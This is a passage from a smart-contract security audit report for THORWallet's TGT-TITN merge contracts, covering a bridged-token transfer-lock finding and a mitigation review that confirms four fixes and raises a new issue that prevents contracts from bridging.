        isBridgedTokensTransferLocked &&
        (isBridgedTokenHolder[from] || block.chainid == arbitrumChainId) &&
        to != lzEndpoint
    ) {
        revert BridgedTokensTransferLocked();
    }
}
```

This creates several issues:

- No way to correct mistakenly marked addresses
- No way to remove restrictions after legitimate bridging
- Contract upgrades or migrations become complicated
- Users who receive bridged tokens are permanently restricted

🔗 Proof of Concept

1. User A bridges tokens from chain X to Arbitrum.
2. User A's address is marked as isBridgedTokenHolder.

3. User A sends tokens back to chain X.
4. User A receives new tokens on Arbitrum through legitimate means.
5. User A cannot transfer these new tokens due to permanent restriction.

Recommended mitigation steps

Add a function to remove addresses from the bridged holders mapping.

Mitigation Review

Introduction

Following the C4 audit, 3 wardens ([web3km](#), [shaflo2](#) and [kn0t](#)) reviewed the mitigations for all identified issues. Additional details can be found within the [C4 THORWallet Mitigation Review repository](#).

Mitigation Review Scope

URL	Mitigation of	Purpose
https://github.com/THORWallet/TGT-TITN-merge-contracts/pull/4	H-02	Only allow bridging to the sender's own address
https://github.com/THORWallet/TGT-TITN-merge-contracts/pull/2	H-01	Fix issue when depositing more TGT and specified in the contract
https://github.com/THORWallet/TGT-TITN-merge-contracts/pull/1	ADD-01 (F-3)	Fix issue claiming TITN on day 360
https://github.com/THORWallet/TGT-TITN-merge-contracts/pull/3	ADD-02 (F-4)	Do not allow transfers to the LZ endpoint as it is not needed

Out of Scope

All sponsor `acknowledged` (wontfix) findings, including:

- [M-01: Improper Transfer Restrictions on Non-Bridged Tokens Due to Boolean Bridged Token Tracking, Allowing a DoS Attack Vector](#)

Mitigation Review Summary

During the mitigation review, the wardens determined that 4 in-scope findings from the original audit were fully mitigated. They also surfaced one new issue of High severity. The table below provides details regarding the status of each in-scope vulnerability from the original audit, followed by full details on the new issue.

Original Issue	Status	Full Details
H-01	Mitigation confirmed	Reports from shaflo2 , web3km and kn0t
H-02	Mitigation confirmed	Reports from shaflo2 , web3km , and kn0t
ADD-01	Mitigation confirmed	Reports from shaflo2 , web3km , and kn0t
ADD-02	Mitigation confirmed	Reports from shaflo2 , web3km , and kn0t

F-9 Unmitigated

Submitted by [web3km](#), also found by [shaflo2](#)

Severity: High

Vulnerability details

The TITN protocol recently fixed a problem where users could get around transfer limits by bridging tokens between different chains.

To stop this, a new check was added in `_send` to make sure that the receiver on the other chain is the same as the `msg.sender` on the current chain.

This fix works, but it also creates a new problem: smart contracts can no longer use the bridge.

Impact

Unlike regular wallets (EOAs), smart contracts usually don't have the same address on different chains. Because of this, they can't pass the new check and can't bridge tokens.

Recommended mitigation steps

To fix this while still keeping transfers safe, consider using the same rules from `_validateTransfer` instead of requiring the sender and receiver to have the same address.

```
- require(_sendParam.to == bytes32(uint256(uint160(msg.sender))), "Must bridge to your own address");

+ if (
+     isBridgedTokensTransferLocked &&
+     (isBridgedTokenHolder[_from] || block.chainid == arbitrumChainId)
+ ) {
+     revert BridgedTokensTransferLocked();
+ }
```

Links to affected code

[Titn.sol#L120](#)

[cacaomatt \(THORWallet\) commented:](#)

Valid finding, we'll implement the suggested update.

[Oxnev \(judge\) commented:](#)

I am accepting this as a new submission per discussions and comments noted [here](#).

Listing as mitigated as sponsor acknowledges this as design decision and will accept only EOAs for bridging during lockup period. This fix will likely be performed on the UI as mentioned.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top